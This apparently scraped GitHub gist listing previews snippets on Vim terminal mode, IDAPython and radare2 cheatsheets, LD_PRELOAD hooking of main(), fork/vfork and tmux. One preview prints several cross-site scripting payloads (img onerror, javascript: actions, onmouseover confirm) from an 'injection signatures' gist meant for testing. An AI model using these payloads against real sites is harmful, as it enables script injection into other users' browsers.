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@mahemoff
mahemoff / README.md
Last active April 6, 2024 00:38
Vim Terminal Mode - A short introduction

Vim has a Terminal Mode!

Since v8.1 (May 2018), Vim has shipped with a built-in terminal. See https://vimhelp.org/terminal.txt.html or type :help terminal for more info.

Why use this? Mainly because it saves you jumping to a separate terminal window. You can also use Vim commands to manipulate a shell session and easily transfer clipboard content between the terminal and files you're working on.

Key Bindings

@Pai-Po
Pai-Po / idapython_cheatsheet.md
Created August 7, 2020 09:33 — forked from icecr4ck/idapython_cheatsheet.md
Cheatsheet for IDAPython
@andreafioraldi
andreafioraldi / asov_cheatshit_singlefile.txt
Last active February 22, 2024 07:48
___ ____ ______ __
/ | / __ \/ ___/ | / /
/ /| |/ / / /\__ \| | / /
/ ___ / /_/ /___/ /| |/ /
/_/__||||||_//____/ |___/__ _____ __ _ __
/ ____/ /_ ___ _____/ /_/ ___// /_ (_) /_
/ / / __ \/ _ \/ ___/ __/\__ \/ __ \/ / __/
/ /___/ / / / __/ /__/ /_ ___/ / / / / / /_
\____/_/ /_/\___/\___/\__//____/_/ /_/_/\__/
@icecr4ck
icecr4ck / idapython_cheatsheet.md
Last active April 23, 2024 18:45
Cheatsheet for IDAPython
@apsun
apsun / hax.c
Last active April 22, 2024 05:49
Hook main() using LD_PRELOAD
/*
* Hook main() using LD_PRELOAD, because why not?
* Obviously, this code is not portable. Use at your own risk.
*
* Compile using 'gcc hax.c -o hax.so -fPIC -shared -ldl'
* Then run your program as 'LD_PRELOAD=$PWD/hax.so ./a.out'
*/
#define _GNU_SOURCE
#include <stdio.h>
@nicowilliams
nicowilliams / fork-is-evil-vfork-is-good-afork-would-be-better.md
Last active May 18, 2024 14:10
fork() is evil; vfork() is goodness; afork() would be better; clone() is stupid

I recently happened upon a very interesting implementation of popen() (different API, same idea) called popen-noshell using clone(2), and so I opened an issue requesting use of vfork(2) or posix_spawn() for portability. It turns out that on Linux there's an important advantage to using clone(2). I think I should capture the things I wrote there in a better place. A gist, a blog, whatever.

This is not a paper. I assume reader familiarity with fork() in particular and Unix in general, though, of course, I link to relevant wiki pages, so if the unfamiliar reader is willing to go down the rabbit hole, they should be able to come ou

@williballenthin
williballenthin / yet another radare2 cheatsheet.md
Last active June 1, 2024 08:03

radare2

load without any analysis (file header at offset 0x0): r2 -n /path/to/file

  • analyze all: aa
  • show sections: iS
  • list functions: afl
  • list imports: ii
  • list entrypoints: ie
  • seek to function: s sym.main
@xsscx
xsscx / XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
Last active June 3, 2024 15:29
XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
/* Remote File Include with HTML TAGS via XSS.Cx */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */
/* Updated September 29, 2014 */
/* RFI START */
<img language=vbs src=<b onerror=alert#1/1#>
<isindex action="javas&Tab;cript:alert(1)" type=image>
"]<img src=1 onerror=alert(1)>
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active June 23, 2024 09:05
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname